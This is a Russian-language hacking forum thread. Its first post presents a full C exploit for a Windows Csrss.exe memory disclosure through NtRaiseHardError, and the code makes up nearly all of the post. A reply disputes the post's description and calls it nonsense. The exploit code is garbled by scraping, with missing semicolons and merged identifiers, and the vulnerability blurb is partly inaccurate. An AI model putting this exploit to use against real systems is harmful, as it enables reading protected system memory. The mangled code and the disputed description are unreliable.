Чтение участков памяти в MS Windows

Discussion in 'Безопасность и Анонимность' started by »Atom1c«, 28 Dec 2006.

  1. »Atom1c«

    »Atom1c« Banned

    Joined:
    4 Nov 2006
    Messages:
    234
    Likes Received:
    285
    Reputations:
    92
    Уязвимость позволяет удаленному злоумышленнику получить несанкционированный доступ к содержимому различных участков системной памяти на целевой системе. Уязвимость существует из-за ошибки в процессе Csrss.exe, при вызове функции GetProcAddress() с параметром NtRaiseHardError. Атакующий может прочитать содержимое различных участков системной памяти.

    Эксплоит:

    PHP:
    ///////////////////////////////////////// 
    ///////////////////////////////////////// 
    ///// Microsoft Windows NtRaiseHardError  
    ///// Csrss.exe memory disclosure   
    ///////////////////////////////////////// 
    ///// Ruben Santamarta   
    ///// ruben at reversemode dot com 
    ///// www.reversemode.com  
    ///////////////////////////////////////// 
    ///// 12.27.2006 
    ///// For educational purposes ONLY 
    ///// Compiled using gcc (Dev-C++) 
    //////////////////////////////////////// 

    #include <stdio.h> 
    #include <windows.h> 
    #include <winbase.h> 
    #include <ntsecapi.h> 


    #define UNICODE 
    #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 
    #define STATUS_SUCCESS              ((NTSTATUS) 0x00000000) 
    #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004) 
    #define STATUS_INVALID_PARAMETER    ((NTSTATUS) 0xC000000D) 
    #define SystemProcessesAndThreadsInformation5 
    #define NTAPI__stdcall 

    int gLen=1


    typedef NTSTATUS (WINAPI *PNTRAISE)(NTSTATUS,  
                                        
    ULONG
                                        
    ULONG
                                        
    PULONG
                                        
    UINT
                                        
    PULONG);      
       

    typedef LONG NTSTATUS
    typedef LONGKPRIORITY

    typedef struct _CLIENT_ID 
        
    DWORD    UniqueProcess
        
    DWORD    UniqueThread
    CLIENT_ID, * PCLIENT_ID


    typedef struct _VM_COUNTERS 
        
    SIZE_T    PeakVirtualSize
        
    SIZE_T    VirtualSize
        
    ULONG    PageFaultCount
        
    SIZE_T    PeakWorkingSetSize
        
    SIZE_T    WorkingSetSize
        
    SIZE_T    QuotaPeakPagedPoolUsage
        
    SIZE_T    QuotaPagedPoolUsage
        
    SIZE_T    QuotaPeakNonPagedPoolUsage
        
    SIZE_T    QuotaNonPagedPoolUsage
        
    SIZE_T    PagefileUsage
        
    SIZE_T    PeakPagefileUsage
    VM_COUNTERS


    typedef struct _SYSTEM_THREAD_INFORMATION 
        
    LARGE_INTEGER   KernelTime
        
    LARGE_INTEGER   UserTime
        
    LARGE_INTEGER   CreateTime
        
    ULONGWaitTime
        
    PVOIDStartAddress
        
    CLIENT_ID    ClientId
        
    KPRIORITY    Priority
        
    KPRIORITY    BasePriority
        
    ULONGContextSwitchCount
        
    LONGState
        
    LONGWaitReason
    SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION



    typedef struct _SYSTEM_PROCESS_INFORMATION 
        
    ULONGNextEntryDelta
        
    ULONGThreadCount
        
    ULONGReserved1[6]; 
        
    LARGE_INTEGER   CreateTime
        
    LARGE_INTEGER   UserTime
        
    LARGE_INTEGER   KernelTime
        
    UNICODE_STRING  ProcessName
        
    KPRIORITY    BasePriority
        
    ULONGProcessId
        
    ULONGInheritedFromProcessId
        
    ULONGHandleCount
        
    ULONGReserved2[2]; 
        
    VM_COUNTERS    VmCounters
        
    IO_COUNTERS    IoCounters
        
    SYSTEM_THREAD_INFORMATION  Threads[5]; 
    SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION
      
       

    typedef DWORD (WINAPIPQUERYSYSTEM)(UINTPVOIDDWORD,PDWORD); 


    ULONG GetCsrssThread() 

    ULONG cbBuffer 0x5000
    ULONG tPointer
        
    LPVOID pBuffer NULL
        
    NTSTATUS Status
    PCWSTR pszProcessName
    DWORD  junk
    ULONG ThreadCount
    int i=0,b=0

    PQUERYSYSTEM NtQuerySystemInformation
    PSYSTEM_THREAD_INFORMATION pThreads
    PSYSTEM_PROCESS_INFORMATION pInfo 

    NtQuerySystemInformation = (PQUERYSYSTEMGetProcAddressLoadLibrary"ntdll.dll" ), 
       
    "NtQuerySystemInformation" ); 


    do 
        { 
            
    pBuffer malloc(cbBuffer); 
            if (
    pBuffer == NULL
            { 
                
    printf(("Not enough memory\n")); 
               break; 
            } 

            
    Status NtQuerySystemInformation
                        
    SystemProcessesAndThreadsInformation
                        
    pBuffercbBufferNULL); 

            if (
    Status == STATUS_INFO_LENGTH_MISMATCH
            { 
                
    free(pBuffer); 
                
    cbBuffer *= 2
            } 
            else if (!
    NT_SUCCESS(Status)) 
            { 
    printf("NtQuerySystemInformation Error! "); 
                
    free(pBuffer); 
            } 

        }   while (
    Status == STATUS_INFO_LENGTH_MISMATCH); 


    pInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer

        for (;;) 
        { 


    if (
    pInfo->NextEntryDelta == 0
    break; 
    if(
    pInfo->ProcessName.Buffer!=NULL && 
            !
    wcsicmp(pInfo->ProcessName.Buffer,L"csrss.exe")) 

            
    printf("\n[%ws]  \n\n"pInfo->ProcessName.Buffer); 
    printf("5 addresses for testing purposes\n\n"); 
           for(
    b=0;b<5;b++) 
               { 
                 
    printf("Thread %d -> 0x%x\n",b,pInfo->Threads[b].StartAddress); 
               }  
       
    tPointer=(ULONG)pInfo->Threads[1].StartAddress
            } 
    pInfo = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pInfo
    pInfo->NextEntryDelta); 
        } 

        
    free(pBuffer); 
        return 
    tPointer
    }          

    VOID WINAPI ReadBoxLPVOID param )  
    {  

    HWND hWindow,hButton,hText
    int i=0,b=0
    int gTemp
    char lpTitle[300]; 
    char lpText[300]; 
    char lpBuff[500]; 
      
    for (;;) 


    lpText[0]=(BYTE)""
           
    Sleep(800); 
    hWindow FindWindow("#32770",NULL); 
    if(
    hWindow != NULL

    GetWindowText(hWindow,(LPSTR)&lpTitle,250); 
         
    hText=FindWindowEx(hWindow,0,"static",0); 

    GetWindowText(hText,(LPSTR)&lpText,250); 
    hText=GetNextWindow(hText,GW_HWNDNEXT); 

                
    GetWindowText(hText,(LPSTR)&lpText,250); 
        
    gTemp strlen(lpTitle); 
                 
                if ( 
    gTemp>gLen gTemp
                else 
    gLen 1

                for(
    0gTempi++)   printf("%.2X",(BYTE)lpTitle[i]); 
              
            
        
    SendMessage(hWindow,WM_CLOSE,0,0); 

                
    ZeroMemory((LPVOID)lpTitle,250); 
    ZeroMemory((LPVOID)lpText,250); 
    ZeroMemory((LPVOID)lpBuff,300); 







                               
    int main() 

         
       
    UNICODE_STRING uStr={5,5,L"fun!"}; 
       
    ULONG retValue,args[]={0,0,&uStr}; 
       
    ULONG csAddr
       
    PNTRAISE NtRaiseHardError;     
       
    int i=0
         
        
    system("cls"); 
        
    printf("##########################################\n"); 
        
    printf("### Microsoft Windows NtRaiseHardError ###\n"); 
        
    printf("#####  Csrss.exe memory disclosure  ######\n"); 
        
    printf("@@@@@  Xmas Exploit   -   ho ho ho! @@@@@@\n"); 
        
    printf("## Ruben Santamarta www.reversemode.com ##\n"); 
        
    printf("##########################################\n\n"); 
        
        
    NtRaiseHardError=(PNTRAISE)GetProcAddress(GetModuleHandle("ntdll.dll"), 
                                                   
    "NtRaiseHardError");   
        
        
    csAddr=GetCsrssThread(); 
         
        
    args[0]=csAddr
      
    args[1]=csAddr
       
    printf("\n[+] Capturing Messages \n");  
               
        
    CreateThreadNULL,               
      
    0,                   
     (
    LPTHREAD_START_ROUTINE)ReadBox,         
      
    0,              
      
    0,                  
     
    NULL);  
       
         
      
    printf("\n[+] Now reading at: [0x%p] - Thread 1\n\n",csAddr);  
          
       for(;;) 
       { 
        
    printf("Reading bytes at [0x%p] : ",args[0]); 
        
    NtRaiseHardError(0x50000018,3,4,args,1,&retValue); 
         
        if(
    retValue && gLen<=1)          printf("00\n"); 
        else 
    printf("\n"); 
        
        
    args[0]+=gLen
        
    args[1]+=gLen;  
        } 
     
    1 person likes this.
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    бред,
    1) GetProcAddress - это не функция csrss
    2) это сильно напоминает последнюю багу с повреждением памяти в csrss при вызове NtRaiseHardError посредтвом MessageBox
     
    1 person likes this.